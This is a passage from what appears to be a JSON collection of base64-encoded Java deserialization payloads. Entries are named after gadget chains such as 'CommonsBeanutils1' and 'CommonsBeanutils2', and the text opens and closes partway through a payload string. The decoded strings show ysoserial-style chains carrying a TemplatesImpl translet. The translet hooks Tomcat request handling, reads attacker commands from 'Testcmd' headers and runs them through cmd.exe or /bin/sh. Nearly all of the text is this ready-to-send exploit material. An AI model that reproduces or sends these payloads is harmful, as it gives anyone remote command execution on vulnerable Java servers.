ZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEA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",
"CommonsBeanutils1":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vRERsMlpGZjhZBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29ERGwyWkZmOFkuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM2BhUGGQW+ogIfGQUVBjI6BxkHAaYABqcCCRkHtgBzTi0SdbYAeZoADC0Se7YAeZoABqcB7hkHEn24AG1MK8EAf5oABqcB3CsSgbgAbRKDuABtEoW4AG1MpwALOginAcOnAAArEoe4AG3AAIk6CQM2ChUKGQm5AI0BAKIBnhkJFQq5AJACADoLGQsSkrgAbUwrtgAwEpQDvQAMtgA1KwO9AAS2ACxNK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKYU7YALMAAXE4tAaUACi22AJyZAAanAFgstgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVyy2ADASoAW9AAxZAxJcU1kEElxTtgA1LAW9AARZAxKYU1kELVO2ACxXBDYEK7YAMBKWBL0ADFkDElxTtgA1KwS9AARZAxKiU7YALMAAXE4tAaUACi22AJyZAAanAI0stgAwEp4EvQAMWQOyAB5TtgA1LAS9AARZA7sAGlkRAMi3ACZTtgAsVxKkuACqtgCtEq+2AHmZABgGvQBcWQMSsVNZBBKzU1kFLVOnABUGvQBcWQMStVNZBBK3U1kFLVM6DCy7ALlZuwC7WRkMtwC+tgDCtgDItwDLEs22ANG2ANS2ANi4ANoENgQtAaUACi22AJyZAAgVBJoABqcAECy4AN62AOO2ANi4ANoVBJkABqcACYQKAaf+XBUEmQAGpwAJhAYBp/3fsQABAF8AcABzAD8AAQBAAAAA3QAZ/wAaAAcHAAIAAAABBwBvAQAA/AAXBwBh/wAXAAgHAAIAAAcAXAEHAG8BBwBhAAAC/wARAAgHAAIHAAQABwBcAQcAbwEHAGEAAFMHAD8E/wACAAgHAAIHAAQABwBcAQcAbwEHAGEAAP4ADQAHAIkB/wBjAAwHAAIHAAQHAAQHAFwBBwBvAQcAYQAHAIkBBwAEAAAC+wBULgL7AE1RBwDlKQsEAgwH/wAFAAsHAAIHAAQABwBcAQcAbwEHAGEABwCJAQAA/wAHAAgHAAIAAAABBwBvAQcAYQAA+gAFAD0AAAAEAAEAPwABAAUAAAACAAZ1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==",
"CommonsBeanutils2":"rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAADwPK/rq+AAAAMgDpAQAMRm9vTkdVYU4zQnJRBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABFGb29OR1VhTjNCclEuamF2YQEACXdyaXRlQm9keQEAFyhMamF2YS9sYW5nL09iamVjdDtbQilWAQAkb3JnLmFwYWNoZS50b21jYXQudXRpbC5idWYuQnl0ZUNodW5rCAAJAQAPamF2YS9sYW5nL0NsYXNzBwALAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAA0ADgoADAAPAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAEQASCgAMABMBAAhzZXRCeXRlcwgAFQEAAltCBwAXAQARamF2YS9sYW5nL0ludGVnZXIHABkBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMABsAHAkAGgAdAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAAfACAKAAwAIQEABjxpbml0PgEABChJKVYMACMAJAoAGgAlAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAnAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAApACoKACgAKwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwALQAuCgAEAC8BAAdkb1dyaXRlCAAxAQAJZ2V0TWV0aG9kDAAzACAKAAwANAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HADYBABNqYXZhLm5pby5CeXRlQnVmZmVyCAA4AQAEd3JhcAgAOgEABENvZGUBAApFeGNlcHRpb25zAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAPgEADVN0YWNrTWFwVGFibGUBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwwAQwBECgAMAEUBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAEcBAA1nZXRTdXBlcmNsYXNzDABJAC4KAAwASgEAFShMamF2YS9sYW5nL1N0cmluZzspVgwAIwBMCgBIAE0BACJqYXZhL2xhbmcvcmVmbGVjdC9BY2Nlc3NpYmxlT2JqZWN0BwBPAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAFEAUgoAUABTAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAFUBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAVwBYCgBWAFkBABBqYXZhL2xhbmcvU3RyaW5nBwBbAQADKClWDAAjAF0KAAQAXgEAEGphdmEvbGFuZy9UaHJlYWQHAGABAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMAGIAYwoAYQBkAQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7DABmAGcKAGEAaAEAB3RocmVhZHMIAGoMAEEAQgoAAgBsAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAbgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwwAcABxCgBhAHIBAARleGVjCAB0AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAHYAdwoAXAB4AQAEaHR0cAgAegEABnRhcmdldAgAfAEAEmphdmEvbGFuZy9SdW5uYWJsZQcAfgEABnRoaXMkMAgAgAEAB2hhbmRsZXIIAIIBAAZnbG9iYWwIAIQBAApwcm9jZXNzb3JzCACGAQAOamF2YS91dGlsL0xpc3QHAIgBAARzaXplAQADKClJDACKAIsLAIkAjAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAVwCOCwCJAI8BAANyZXEIAJEBAAtnZXRSZXNwb25zZQgAkwEACWdldEhlYWRlcggAlQEACFRlc3RlY2hvCACXAQAHaXNFbXB0eQEAAygpWgwAmQCaCgBcAJsBAAlzZXRTdGF0dXMIAJ0BAAlhZGRIZWFkZXIIAJ8BAAdUZXN0Y21kCAChAQAHb3MubmFtZQgAowEAEGphdmEvbGFuZy9TeXN0ZW0HAKUBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACnAKgKAKYAqQEAC3RvTG93ZXJDYXNlDACrAHEKAFwArAEABndpbmRvdwgArgEAB2NtZC5leGUIALABAAIvYwgAsgEABy9iaW4vc2gIALQBAAItYwgAtgEAEWphdmEvdXRpbC9TY2FubmVyBwC4AQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwC6AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwAIwC8CgC7AL0BAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwAvwDACgC7AMEBABFqYXZhL2xhbmcvUHJvY2VzcwcAwwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMAMUAxgoAxADHAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAjAMkKALkAygEAAlxBCADMAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7DADOAM8KALkA0AEABG5leHQMANIAcQoAuQDTAQAIZ2V0Qnl0ZXMBAAQoKVtCDADVANYKAFwA1wwABwAICgACANkBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7DADbANwKAKYA3QEAE2phdmEvdXRpbC9IYXNodGFibGUHAN8BAAh0b1N0cmluZwwA4QBxCgDgAOIBABNbTGphdmEvbGFuZy9TdHJpbmc7BwDkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcA5goA5wBeACEAAgDnAAAAAAADAAoABwAIAAIAPAAAANwACAAFAAAAsRIKuAAQTi22ABRNLRIWBr0ADFkDEhhTWQSyAB5TWQWyAB5TtgAiLAa9AARZAytTWQS7ABpZA7cAJlNZBbsAGlkrvrcAJlO2ACxXKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwBIOgQSObgAEE4tEjsEvQAMWQMSGFO2ACItBL0ABFkDK1O2ACxNKrYAMBIyBL0ADFkDLVO2ADUqBL0ABFkDLFO2ACxXpwADsQABAAAAaABrADcAAQBAAAAAEQAC9wBrBwA3/QBEBwAEBwAMAD0AAAAEAAEAPwAKAEEAQgACADwAAAB+AAMABQAAAD8BTSq2ADBOpwAZLSu2AEZNpwAWpwAAOgQttgBLTqcAAy0SBKb/5ywBpgAMuwBIWSu3AE6/LAS2AFQsKrYAWrAAAQAKABMAFgBIAAEAQAAAACUABv0ACgcAVgcADAj/AAIABAcABAcAXAcAVgcADAABBwBICQUNAD0AAAAEAAEAPwABACMAXQACADwAAAM2AAgADQAAAj8qtwDoAzYEuABltgBpEmu4AG3AAG86BQM